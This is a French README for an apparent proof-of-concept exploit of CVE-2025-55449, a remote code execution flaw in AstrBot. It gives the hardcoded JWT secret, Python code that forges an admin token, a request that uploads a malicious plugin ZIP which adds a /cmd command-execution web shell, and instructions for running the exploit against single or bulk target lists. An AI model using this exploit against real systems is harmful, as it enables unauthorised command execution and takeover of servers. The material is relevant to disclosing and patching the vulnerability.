
EXP CVE-2025-55449
Ce dépôt contient un exploit de preuve de concept pour CVE-2025-55449, une vulnérabilité critique d'Exécution de Code à Distance (RCE) dans AstrBot. La vulnérabilité permet à un attaquant d'exécuter du code arbitraire sur le système cible en exploitant une authentification JWT faible et le mécanisme d'installation de plugins.
La vulnérabilité existe en raison de :
Clé secrète JWT codée en dur : AstrBot utilise une clé secrète JWT codée en dur (Advanced_System_for_Text_Response_and_Bot_Operations_Tool) pour l'authentification, permettant aux attaquants de forger des jetons d'authentification valides.
Installation de plugins sans restriction : Le point de terminaison /api/plugin/install-upload permet aux utilisateurs authentifiés de téléverser et d'installer des plugins sans validation appropriée, permettant l'exécution de code Python arbitraire.
Exécution de code via le système de plugins : Le système de plugins permet aux plugins de modifier le routage de l'application et d'exécuter des commandes arbitraires via l'instance d'application Flask/Quart.
Falsification de jeton JWT : L'exploit forge un jeton JWT en utilisant la clé secrète codée en dur avec des privilèges administrateur.
Vulnérabilité d'exécution de code : La vulnérabilité d'exécution de code à distance dans le backend exploite la fonctionnalité d'extension de plugin intégrée de l'application, permettant aux utilisateurs de téléverser des paquets de plugins personnalisés. Le programme décompresse les paquets, lit les informations du plugin, importe le fichier Python de l'objet et exécute le code.
1. Forger un jeton JWT avec la clé secrète codée en dur
2. Créer un fichier ZIP de plugin malveillant
3. POST vers /api/plugin/install-upload avec le jeton forgé
4. Le plugin s'installe et ajoute un point de terminaison /cmd
5. Exécuter des commandes via /cmd?cmd=<commande>
jwt (PyJWT)requestszipfile (intégré)argparse (intégré)datetime (intégré)pathlib (intégré)git clone <repository-url>
cd CVE-2025-55449
pip install PyJWT requests
Exécutez l'exploit contre une URL cible unique :
python main.py http://target-ip:port
Créez un fichier (ip.txt) avec une URL par ligne :
http://target1:6185
http://target2:6185
http://target3:6185
Exécutez ensuite :
python main.py -r ip.txt
En cas d'exploitation réussie, le script affichera :
http://target-ip:port/cmd?cmd=id
Vous pouvez ensuite exécuter des commandes en accédant :
http://target-ip:port/cmd?cmd=<votre-commande>
Par exemple :
http://target-ip:port/cmd?cmd=whoami
http://target-ip:port/cmd?cmd=ls -la
CVE-2025-55449/
├── main.py # Script d'exploit principal
├── ip.txt # Fichier d'exemples d'URLs cibles
├── README.md # Ce fichier
└── helloworld/ # Répertoire du plugin malveillant
├── main.py # Code du plugin qui ajoute le point de terminaison /cmd
├── metadata.yaml # Métadonnées du plugin
├── LICENSE # Licence du plugin
└── README.md # README du plugin
L'exploit utilise la clé secrète JWT codée en dur pour créer un jeton d'authentification valide :
key = "Advanced_System_for_Text_Response_and_Bot_Operations_Tool"
payload = {"username": "admin", "exp": datetime.datetime.utcnow() + datetime.timedelta(days=7)}
forged = jwt.encode(payload, key, algorithm="HS256")
Le plugin (helloworld/main.py) exploite le système d'importation de Python et l'instance d'application Flask/Quart pour injecter une nouvelle route :
# The plugin finds the Quart application instance and adds a /cmd route
# that executes arbitrary commands via os.popen()
L'exploit conditionne le plugin sous forme de fichier ZIP et le téléverse via le point de terminaison authentifié :
requests.post(
url + "/api/plugin/install-upload",
headers={"Authorization": "Bearer " + forged},
files={"file": (name + ".zip", zip_payload_bytes)}
)